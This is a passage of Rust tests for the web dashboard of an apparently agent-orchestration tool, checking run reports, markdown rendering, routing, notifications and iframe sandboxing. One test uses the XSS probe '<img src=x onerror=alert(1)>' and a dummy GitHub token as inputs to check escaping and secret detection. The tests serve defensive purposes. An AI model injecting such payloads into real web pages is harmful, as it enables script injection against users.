20395 }
20396 ]
20397 }
20398 ]);
20399 std::fs::write(&path, v.to_string()).unwrap();
20400
20401 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20402 assert_eq!(res.status, 200, "{}", res.body);
20403 let j = res.json();
20404 let judging = j["sections"]
20405 .as_array()
20406 .unwrap()
20407 .iter()
20408 .find(|s| s["kind"] == "judging")
20409 .expect("judging section exists");
20410
20411 let delib_lines = judging["deliberation"].as_array().unwrap();
20413 assert_eq!(delib_lines.len(), 2);
20414 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
20415 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
20416
20417 let rounds = judging["rounds"].as_array().unwrap();
20419 assert_eq!(rounds.len(), 2);
20420 let r1_t0 = &rounds[0]["turns"][0];
20421 assert_eq!(r1_t0["judge"], 1);
20422 assert_eq!(r1_t0["agent"], "judge-1");
20423 assert_eq!(r1_t0["tentative"], "A");
20424 assert_eq!(
20425 r1_t0["body"],
20426 "I prefer candidate **A** because it has cleaner tests."
20427 );
20428 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
20429
20430 let r2_t0 = &rounds[1]["turns"][0];
20431 assert_eq!(r2_t0["judge"], 1);
20432 assert_eq!(r2_t0["agent"], "judge-1");
20433 assert!(r2_t0["tentative"].is_null());
20434 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
20435 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
20436
20437 let id_empty = "20260902-140504-nodelib";
20439 write_run(&f.runs(), id_empty, RunStatus::Merged);
20440 let path_empty = f.runs().join(id_empty).join("run.json");
20441 let mut v_empty: serde_json::Value =
20442 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
20443 v_empty["judgements"] = serde_json::json!([
20444 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20445 ]);
20446 v_empty["deliberation"] = serde_json::json!([]);
20447 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
20448
20449 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
20450 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
20451 let j_empty = res_empty.json();
20452 let judging_empty = j_empty["sections"]
20453 .as_array()
20454 .unwrap()
20455 .iter()
20456 .find(|s| s["kind"] == "judging")
20457 .expect("judging section exists");
20458 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
20459 }
20460
20461 #[tokio::test]
20462 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
20463 let f = Fixture::start().await;
20464
20465 let html = f.get("/").await;
20466 let css = f.get("/app.css").await;
20467 let js = f.get("/app.js").await;
20468
20469 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
20470 assert!(
20471 html.headers
20472 .contains("content-type: text/html; charset=utf-8")
20473 );
20474 assert!(css.headers.contains("content-type: text/css"));
20475 assert!(js.headers.contains("content-type: text/javascript"));
20476 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
20477 }
20478
20479 #[test]
20480 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
20481 let body = |name: &str| {
20482 let at = APP_JS
20483 .find(name)
20484 .unwrap_or_else(|| panic!("{name} missing"));
20485 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20486 };
20487 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
20488 let note = body("function landRoundNote");
20489 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
20490 assert!(note.contains("Land round ${round}"));
20491 let land = body("function renderLand");
20492 let note_at = land
20493 .find("landRoundNote(pr)")
20494 .expect("renderLand uses the note");
20495 assert!(
20496 note_at
20497 < land
20498 .find("roundRail(pr)")
20499 .expect("renderLand uses the rail")
20500 );
20501 }
20502
20503 #[test]
20504 fn the_runs_page_redesign_keeps_its_guards() {
20505 let body = |name: &str| {
20506 let at = APP_JS
20507 .find(name)
20508 .unwrap_or_else(|| panic!("{name} missing"));
20509 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20510 };
20511 let land = body("function renderLand");
20513 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
20514 assert!(
20515 !land.contains("box.append("),
20516 "renderLand must use append()"
20517 );
20518 assert!(land.contains("append(box, ["));
20519 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
20521 assert!(
20522 body("function applyRoute")
20523 .contains("route.name !== state.route.name || route.id !== state.route.id")
20524 );
20525 assert!(!APP_JS.contains("adviseConvergeDiagram"));
20527 assert!(!INDEX_HTML.contains("advise-converge"));
20528 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
20529 assert!(APP_JS.contains("provisional"));
20530 for id in [
20531 "run-tab-overview",
20532 "run-tab-timeline",
20533 "run-tab-report",
20534 "run-report",
20535 "runs-scope",
20536 ] {
20537 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
20538 }
20539 assert!(!INDEX_HTML.contains("runs-tree"));
20540 assert!(!INDEX_HTML.contains("run-raw-panel"));
20541 assert!(APP_JS.contains("resume"));
20543 assert!(APP_JS.contains("unreadable"));
20545 }
20546
20547 #[test]
20548 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
20549 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
20550 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
20551 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
20552 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
20553 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
20554 assert!(APP_JS.contains("unreadable` : null"));
20556 }
20557
20558 #[test]
20559 fn blocked_run_detail_exposes_the_failed_gate_reason() {
20560 let mut state = RunState::new(
20561 "/repo".into(),
20562 "main".into(),
20563 "abc".into(),
20564 "task".into(),
20565 crate::config::Config::default(),
20566 );
20567 state.status = RunStatus::Blocked;
20568 state.gate_ran = true;
20569 state.gate.push(crate::run::CommandOutcome {
20570 command: "cargo make check".into(),
20571 code: Some(1),
20572 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
20573 duration_ms: 0,
20574 resource_blocked: false,
20575 });
20576 let view = RunDetailView::of(
20577 state,
20578 false,
20579 crate::run::Liveness::Unknown,
20580 None,
20581 None,
20582 None,
20583 );
20584 let value = serde_json::to_value(view).unwrap();
20585 assert_eq!(
20586 value["stop_reason"],
20587 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
20588 );
20589 }
20590
20591 #[test]
20592 fn the_run_detail_payload_says_whether_the_run_is_done() {
20593 for (status, done) in [
20595 (RunStatus::Superseded, true),
20596 (RunStatus::Blocked, true),
20597 (RunStatus::Landing, false),
20598 ] {
20599 let mut state = RunState::new(
20600 std::path::PathBuf::from("/repo"),
20601 "main".to_owned(),
20602 "abc".to_owned(),
20603 "x".to_owned(),
20604 crate::config::Config::default(),
20605 );
20606 state.status = status;
20607 let v = serde_json::to_value(RunDetailView::of(
20608 state,
20609 false,
20610 crate::run::Liveness::Unknown,
20611 None,
20612 None,
20613 None,
20614 ))
20615 .unwrap();
20616 assert_eq!(v["done"], done, "{status:?}");
20617 }
20618 }
20619
20620 fn has_strong(nodes: &[md::Node]) -> bool {
20622 serde_json::to_string(nodes).unwrap().contains("strong")
20623 }
20624
20625 #[test]
20626 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
20627 let mut state = RunState::new(
20628 std::path::PathBuf::from("/repo"),
20629 "main".to_owned(),
20630 "abc".to_owned(),
20631 "x".to_owned(),
20632 crate::config::Config::default(),
20633 );
20634 let proposal = |approach: &str| {
20635 serde_json::json!({
20636 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
20637 })
20638 };
20639 state.advice = Some(
20640 serde_json::from_value(serde_json::json!({
20641 "records": [
20642 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
20643 "proposal": proposal("do **this**")},
20644 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
20645 ],
20646 "synthesis": "- one\n- **two**\n\n`code`",
20647 }))
20648 .unwrap(),
20649 );
20650 state.candidates = serde_json::from_value(serde_json::json!([
20651 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
20652 "summary": "did **it**"},
20653 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
20654 ]))
20655 .unwrap();
20656 state.reviews = serde_json::from_value(serde_json::json!([{
20659 "round": 1, "head": "h",
20660 "reviews": [{
20661 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
20662 "findings": [
20663 {"severity": "nit", "title": "t1", "detail": "plain nit"},
20664 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
20665 ],
20666 }],
20667 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
20668 "fix": {"agent": "a", "notes": "fixed **it**",
20669 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
20670 }, {"round": 2, "head": "h2", "reviews": []}]))
20671 .unwrap();
20672
20673 let v = serde_json::to_value(RunDetailView::of(
20674 state,
20675 false,
20676 crate::run::Liveness::Unknown,
20677 None,
20678 None,
20679 None,
20680 ))
20681 .unwrap();
20682
20683 let strong = |p: &str| {
20684 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
20685 assert!(n.to_string().contains("strong"), "{p}: {n}");
20686 };
20687 strong("/advice_md/synthesis");
20688 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
20689 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
20690 strong("/advice_md/approaches/0");
20691 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
20692 strong("/candidate_summaries_md/0");
20693 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
20694 strong("/reviews_md/0/reviewers/0/summary");
20695 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
20696 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
20697 assert!(f[1].to_string().contains("strong"));
20698 strong("/reviews_md/0/reconsideration/0");
20699 strong("/reviews_md/0/fix/notes");
20700 strong("/reviews_md/0/fix/rejected/0");
20701 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
20702 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
20703 assert_eq!(v["candidates"][0]["summary"], "did **it**");
20705 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
20706 }
20707
20708 #[test]
20709 fn a_run_without_advice_has_no_advice_md() {
20710 let state = RunState::new(
20711 std::path::PathBuf::from("/repo"),
20712 "main".to_owned(),
20713 "abc".to_owned(),
20714 "x".to_owned(),
20715 crate::config::Config::default(),
20716 );
20717 let p = run_prose_md(&state);
20718 assert!(p.advice_md.is_none());
20719 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
20720 }
20721
20722 #[test]
20723 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
20724 let store = ask::Questions::at(PathBuf::from("unused"));
20725 let gt = crate::github_text::Withheld {
20726 title: false,
20727 body: true,
20728 categories: vec!["sensitive-data".into()],
20729 };
20730 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
20731 let (detail, comparison) =
20732 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
20733 let mut q = Question::new(
20734 "r".into(),
20735 "github-text".into(),
20736 "posting-gate".into(),
20737 "s".into(),
20738 detail,
20739 Vec::new(),
20740 );
20741 assert!(
20742 QuestionView::of(q.clone(), &store, None)
20743 .posting_view
20744 .is_none()
20745 );
20746 q.posting_comparison = Some(comparison);
20747 let view = QuestionView::of(q.clone(), &store, None);
20748 let field = &view.posting_view.unwrap().fields[0];
20749 assert_eq!(
20750 field
20751 .original
20752 .iter()
20753 .map(|f| f.text.as_str())
20754 .collect::<String>(),
20755 body
20756 );
20757 assert!(field.original[0].text.starts_with("<img"));
20758 let original_question: Question =
20759 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
20760 assert_eq!(original_question, q);
20761 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
20762 .original
20763 .start = 1;
20764 assert!(
20765 QuestionView::of(q.clone(), &store, None)
20766 .posting_view
20767 .is_none()
20768 );
20769 q.posting_comparison = original_question.posting_comparison;
20770 q.detail.push_str("extra context");
20771 assert!(
20772 QuestionView::of(q.clone(), &store, None)
20773 .posting_view
20774 .is_some()
20775 );
20776 q.detail.insert(0, 'x');
20777 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
20778 }
20779
20780 #[test]
20781 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
20782 let store = ask::Questions::at(PathBuf::from("unused"));
20783 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
20784 let gt = crate::github_text::Withheld::from_check(
20785 &crate::github_text::check("fix: x", body),
20786 "fix: x",
20787 body,
20788 )
20789 .unwrap();
20790 let (detail, comparison) =
20791 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
20792 let mut q = Question::new(
20793 "r".into(),
20794 "github-text".into(),
20795 "posting-gate".into(),
20796 "s".into(),
20797 detail,
20798 Vec::new(),
20799 );
20800 q.posting_comparison = Some(comparison);
20801 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
20802 let field = &value["posting_view"]["fields"][0];
20803 let group = &field["replacement_group"];
20804 let triggers = group["triggers"].as_array().unwrap();
20805 assert_eq!(triggers.len(), 2);
20806 assert_ne!(triggers[0], triggers[1]);
20807 for id in triggers {
20808 assert!(
20809 field["original"]
20810 .as_array()
20811 .unwrap()
20812 .iter()
20813 .any(|f| &f["pair"] == id)
20814 );
20815 assert!(
20816 !field["changed"]
20817 .as_array()
20818 .unwrap()
20819 .iter()
20820 .any(|f| &f["pair"] == id)
20821 );
20822 }
20823 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
20824 group["id"].as_u64().unwrap() as usize;
20825 assert!(
20826 QuestionView::of(q, &store, None).posting_view.is_none(),
20827 "group and trigger IDs cannot collide"
20828 );
20829 }
20830
20831 #[test]
20832 fn a_question_view_carries_markdown_for_each_thread_turn() {
20833 let home = TempDir::new().unwrap();
20834 let store = ask::Questions::at(home.path().join("questions"));
20835 let mut q = Question::new(
20836 "run".to_owned(),
20837 "implement".to_owned(),
20838 "impl-A".to_owned(),
20839 "which?".to_owned(),
20840 String::new(),
20841 Vec::new(),
20842 );
20843 q.say("plain words").unwrap();
20844 q.reply("use **this**", Vec::new()).unwrap();
20845 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20846 let bodies = &v["thread_bodies_md"];
20847 assert_eq!(bodies.as_array().unwrap().len(), 2);
20848 assert!(!bodies[0].to_string().contains("strong"));
20849 assert!(bodies[1].to_string().contains("strong"));
20850 }
20851
20852 #[test]
20853 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
20854 let home = TempDir::new().unwrap();
20855 let store = ask::Questions::at(home.path().join("questions"));
20856 let mut q = Question::new(
20857 "run".to_owned(),
20858 "conduct".to_owned(),
20859 "conduct".to_owned(),
20860 "which?".to_owned(),
20861 String::new(),
20862 Vec::new(),
20863 );
20864 q.say("plain words").unwrap();
20865 q.thread.push(ask::Turn {
20866 who: ask::Who::Agent,
20867 body: "Settled as `merge`".to_owned(),
20868 at: jiff::Timestamp::now(),
20869 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
20870 });
20871 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20872 let notes = &v["thread_notes_md"];
20873 assert_eq!(notes.as_array().unwrap().len(), 2);
20874 assert!(notes[0].is_null());
20875 let text = notes[1].to_string();
20876 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
20877 assert!(APP_JS.contains("ask-turn-note"));
20878 }
20879
20880 #[test]
20881 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
20882 assert!(APP_JS.contains("function landView(run, raw) {"));
20886 assert!(
20887 APP_JS.contains(
20888 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
20889 )
20890 );
20891 assert!(APP_JS.contains("const pr = landView(run, raw);"));
20892 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
20893 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
20894 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
20895 }
20896
20897 #[test]
20898 fn live_runs_are_never_hidden_or_folded_as_superseded() {
20899 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
20900 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
20901 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
20902 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
20903 }
20904
20905 #[test]
20906 fn review_rounds_label_a_distinct_verified_head() {
20907 assert!(APP_JS.contains("round.verified_head"));
20908 assert!(APP_JS.contains("verified HEAD"));
20909 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
20910 }
20911
20912 #[test]
20913 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
20914 assert!(APP_JS.contains("blocked: { glyph:"));
20918 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
20919
20920 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
20924 assert!(
20925 APP_JS.contains(
20926 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
20927 ),
20928 "the note line must name what a blocked task is waiting on, not just that it is blocked"
20929 );
20930 assert!(APP_JS.contains("if (status === \"blocked\") {"));
20934
20935 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
20939 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
20940 assert!(
20941 APP_JS.contains("location.hash = \"#/questions\";"),
20942 "a question node must jump to the Questions screen, not pretend to be a task"
20943 );
20944
20945 assert!(APP_JS.contains("Resolved questions"));
20948 assert!(APP_JS.contains("r.answersList.append("));
20949 assert!(APP_CSS.contains(".task-answers"));
20950 {
20951 let start = APP_JS
20952 .find("function updateTalkTaskRow")
20953 .expect("updateTalkTaskRow");
20954 let body = &APP_JS[start..];
20955 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20956 assert!(
20957 body.contains(
20958 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20959 ),
20960 "a chat-filed task row must link to the task page"
20961 );
20962 assert!(
20963 !body.contains("#/runs/") && !body.contains("#/queue/"),
20964 "the row must not branch to a run or the queue card"
20965 );
20966 assert!(APP_CSS.contains(".talk-task-link"));
20967 }
20968 }
20969
20970 #[test]
20971 fn a_task_notification_links_to_the_task_page() {
20972 let start = APP_JS
20974 .find("function noticeLink(")
20975 .expect("noticeLink exists");
20976 let body = &APP_JS[start..];
20977 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20978 assert!(
20979 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20980 "a task notice's link must target the task page"
20981 );
20982 assert!(
20983 !body.contains("#/queue/"),
20984 "regression: the task link must not go back to the Backlog route"
20985 );
20986 assert!(
20987 APP_JS.contains(
20988 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20989 ),
20990 "`#/tasks/<id>` must parse into the task route"
20991 );
20992
20993 assert!(
20995 APP_JS.contains(
20996 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20997 ),
20998 "`#/queue/<id>` must parse into a route carrying that id"
20999 );
21000
21001 assert!(APP_JS.contains("state.queueFocus = route.id;"));
21005 assert!(APP_JS.contains("function consumeQueueFocus()"));
21006 assert!(APP_JS.contains("jumpToTask(id)"));
21007 }
21008
21009 #[test]
21010 fn notifications_distinguish_actionable_questions_from_informational_notices() {
21011 let start = APP_JS
21012 .find("function noticeCoveredBy(")
21013 .expect("noticeCoveredBy exists");
21014 let body = &APP_JS[start..];
21015 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
21016
21017 assert!(body.contains("Associated question ${short}"));
21019 assert!(!body.contains("el(\"a\""));
21020
21021 assert!(body.contains("(resolved)"));
21023 assert!(body.contains("(closed)"));
21024
21025 let start = APP_JS
21026 .find("function renderNotifications()")
21027 .expect("renderNotifications exists");
21028 let body = &APP_JS[start..];
21029 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
21030
21031 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
21033 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
21034 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
21035 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
21036 }
21037
21038 #[test]
21041 fn chat_rows_put_the_title_alone_on_the_first_line() {
21042 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
21043 assert!(APP_CSS.contains(
21044 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
21045 ));
21046 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
21047 assert!(APP_JS.contains("class: \"badge talk-unread\""));
21048 }
21049
21050 #[test]
21051 fn run_rows_put_the_title_alone_on_the_first_line() {
21052 assert!(
21053 APP_CSS.contains(
21054 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
21055 )
21056 );
21057 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
21058 assert!(APP_JS.contains("class: \"card run-card\""));
21059 assert!(APP_JS.contains("class: \"repo run-id\""));
21060 }
21061
21062 #[test]
21066 fn wide_screens_show_list_and_preview_side_by_side() {
21067 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
21069 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
21070 assert!(APP_CSS.contains("main[data-split]"));
21071 assert!(APP_CSS.contains("body[data-split]"));
21072
21073 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
21075 assert!(
21076 APP_JS.contains(
21077 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
21078 )
21079 );
21080 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
21081 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
21082 assert!(INDEX_HTML.contains("id=\"split-empty\""));
21083
21084 assert!(APP_JS.contains("function markSelected() {"));
21086 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
21087 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
21088 assert!(
21090 APP_CSS.contains(
21091 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
21092 )
21093 );
21094
21095 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
21097 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
21098 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
21099 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
21100
21101 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
21105 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
21106 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
21107 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
21108
21109 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
21111 }
21112
21113 #[test]
21114 fn panel_sandbox_carries_exactly_popups() {
21115 let needle = "sandbox: \"";
21116 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
21117 assert_eq!(
21118 matches.len(),
21119 1,
21120 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
21121 );
21122 let start = matches[0].0 + needle.len();
21123 let end = APP_JS[start..]
21124 .find('"')
21125 .expect("sandbox attribute value must be terminated by a closing quote");
21126 let val = &APP_JS[start..start + end];
21127 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
21128 let expected: std::collections::BTreeSet<&str> =
21129 ["allow-popups", "allow-popups-to-escape-sandbox"]
21130 .into_iter()
21131 .collect();
21132 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
21133 assert!(
21134 !tokens.contains("allow-scripts"),
21135 "allow-scripts must never be present in sandbox"
21136 );
21137 assert!(
21138 !tokens.contains("allow-same-origin"),
21139 "allow-same-origin must never be present in sandbox"
21140 );
21141 }
21142
21143 #[test]
21144 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
21145 assert!(
21154 APP_JS.contains(
21155 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
21156 ),
21157 "the search-clearing branch must run before state.queueFocus is cleared, or the \
21158 recursive renderQueue() call has nothing left to jump to"
21159 );
21160 assert!(
21161 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
21162 "state.queueFocus must be cleared only once the jump has landed, so a card that \
21163 arrives later still gets it"
21164 );
21165 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
21166 assert!(APP_JS.contains("is not in the current Backlog."));
21167 assert!(APP_JS.contains("li.card[data-task-id=\""));
21168 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
21169 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
21170 assert!(APP_CSS.contains(".card-permalink"));
21171 assert!(APP_CSS.contains(".queue-focus-status"));
21172 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
21173 }
21174
21175 #[test]
21176 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
21177 assert!(
21185 APP_JS.contains(
21186 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
21187 ),
21188 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
21189 );
21190 }
21191
21192 #[test]
21193 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
21194 assert!(
21195 APP_JS.contains("round.verified_head !== round.head"),
21196 "a round that verified an earlier commit must be visibly distinct from one that \
21197 verified the head reviewers are looking at now"
21198 );
21199 assert!(
21200 APP_JS.contains("round.verified_at"),
21201 "when a check ran must be on the wire, not just which commit"
21202 );
21203 assert!(
21204 APP_JS.contains("resource_blocked"),
21205 "a command magi never got to run (shared build cache contention) must not render \
21206 the same as a command that ran and failed"
21207 );
21208 }
21209
21210 #[test]
21211 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
21212 assert!(
21220 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
21221 "every KPI tile built through statusTile() must route its click through \
21222 openRunsFiltered, the single place that sets the Runs filter"
21223 );
21224 for (label, status) in [
21225 ("Merged", "merged"),
21226 ("Ready", "ready"),
21227 ("Blocked", "blocked"),
21228 ("Stalled", "stalled"),
21229 ] {
21230 let call = format!("statusTile(\"{label}\", t.{status}, ");
21231 assert!(
21232 APP_JS.contains(&call),
21233 "expected the {label} KPI tile built via {call}..."
21234 );
21235 assert!(
21236 APP_JS.contains(&format!("status === \"{status}\"")),
21237 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
21238 compare a run against, not one invented only for the stats tile"
21239 );
21240 }
21241 assert!(
21242 APP_JS.contains("function openRunsFiltered(status)"),
21243 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
21244 );
21245 assert!(
21246 APP_JS.contains(
21247 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
21248 ),
21249 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
21250 );
21251 assert!(
21259 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
21260 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
21261 hashchange event that may never fire"
21262 );
21263 }
21264
21265 #[test]
21266 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
21267 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
21273 assert!(
21274 APP_JS.contains(
21275 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
21276 ),
21277 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
21278 guard for an incompatible tree section"
21279 );
21280 }
21281
21282 #[test]
21283 fn every_stats_queue_tile_names_a_real_queue_section() {
21284 assert!(
21290 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
21291 "every queue tile built through sectionTile() must route its click through \
21292 openQueueSectionFocus"
21293 );
21294 for key in ["upnext", "running", "done", "held", "blocked"] {
21295 assert!(
21296 APP_JS.contains(&format!("{{ key: \"{key}\",")),
21297 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
21298 );
21299 }
21300 for line in [
21304 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
21305 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
21306 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
21307 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
21308 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
21309 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
21310 ] {
21311 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
21312 }
21313 }
21314
21315 #[test]
